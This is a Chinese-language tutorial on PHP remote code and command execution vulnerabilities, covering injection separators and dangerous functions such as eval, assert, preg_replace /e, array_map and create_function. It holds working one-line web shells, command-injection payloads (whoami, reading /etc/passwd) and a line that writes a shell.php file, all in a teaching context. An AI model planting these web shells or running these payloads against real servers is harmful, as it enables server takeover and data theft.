RCE远程代码/命令执行基础讲解-171主机测评

危害

攻击者可直接向后台服务器注入恶意命令，依托 Web 服务程序权限执行系统指令、读写服务器文件；还可通过反弹 Shell 获取服务器控制权，以此开展内网渗透，横向拓展攻击范围。

漏洞原理

不正确的输入验证：未对用户的输入进行有效合法的校验，导致攻击者可以通过恶意注入，执行任意代码。

不安全的代码开发：程序员在开发的时候，未发现代码存在逻辑缺陷或设计错误，导致攻击者可以通过这些漏洞执行恶意代码或破坏业务逻辑。

不安全的文件上传（间接执行命令）：未对上传文件的类型和内容进行校验，导致含有恶意代码命令的文件上传至服务器，进而控制服务器。

代码/命令执行区分

对比维度

代码执行

命令执行

利用门槛 & 挖掘方式

多依赖白盒 / 代码审计，黑盒难以探测；

常见于源码泄露、二次开发后台、模板漏洞场景

黑盒渗透高频，覆盖面广；

存在 ping 检测、域名查询、路由测试、备份压缩、调用系统工具等功能点时，可直接 Fuzz 测试

Payload 特征

随编程语言变化，针对性强PHP 示例：

phpinfo();@eval($_POST[x]);

依靠命令拼接符构造拼接符：

; | & && ||

系统通用指令：

whoami、id、ipconfig、ls

远程代码执行漏洞

业务需求需要调用一些执行命令的函数，用户可控输入的参数未经有效过滤，导致攻击者可以注入恶意代码，实现代码执行。

常见的危险函数：eval(); assert(); preg_replace(); create_function();

eval

执行字符串中的php代码，需要;结尾，用户输入未过滤的参数后即可当作代码执行。

<?php @eval($_POST['cmd']);?>
// cmd=phpinfo();
// cmd=system('whoami');

assert

执行字符串中的php代码，不需要以;结尾

<?php @assert($_POST['cmd']);?>
// cmd=phpinfo()
// cmd=system('whoami')

preg_replace

preg_replace ( $pattern , $replacement , $subject )

特殊记忆：preg_replace("流氓","专家","我是一个全球知名的流氓！") –> 我是一个全球知名的专家！

执行一个正则表达式的搜索和替换，搜索subject中匹配pattern的部分，然后用replacement进行替换。使用/E修饰符的时候，替换的内容会被当作php的代码来执行。

<?php preg_replace("/^test/E",$_POST['cmd'],"test123");?>
// cmd=system('id');
// cmd=phpinfo();
// file_put_contents('shell.php',<?php @eval($_POST['cmd']);?>);

array_map

为数组的每个元素应用回调函数

array_map(myfunction,array1,array2,array3,…)

myfunction：回调函数

array :要处理的数组

$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
// ————————————————–
GET /test.php?FUNC=system&cmd=cat/etc/passwd
// array_map('system',['cat/etc/passwd'])

create_function

create_function函数会创建一个匿名函数lambda，内部实现本质就是拼接字符串，然后用EVAL执行他接受的两个字符串参数 create_function(string $args, string $code)

fuction __lambda_func($args){

$code

}

$args 是函数的参数列表

$code直接插入到函数体的位置,code可以是任意的PHP语句

$a=$_GET['a'];
$b=$_GET['b'];
$a('',$b);
// ————————————————–
a=create_fuction&b=}system('cat /tmp/key.txt');/*
fuction __lambda_func(){
}system('cat /tmp/key.txt');/*
}

call_user_func

第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数

call_user_func("assert",$_POST['cmd'])

// assert($_POST['cmd'])

远程命令执行漏洞

函数	返回值	获取完整输出	获取返回状态码	是否自动输出
exec	最后一行（字符串）	数组（引用）	支持	否
shell_exec	完整输出（字符串）	直接得到	不支持	否
system	最后一行（字符串）	直接输出	支持	是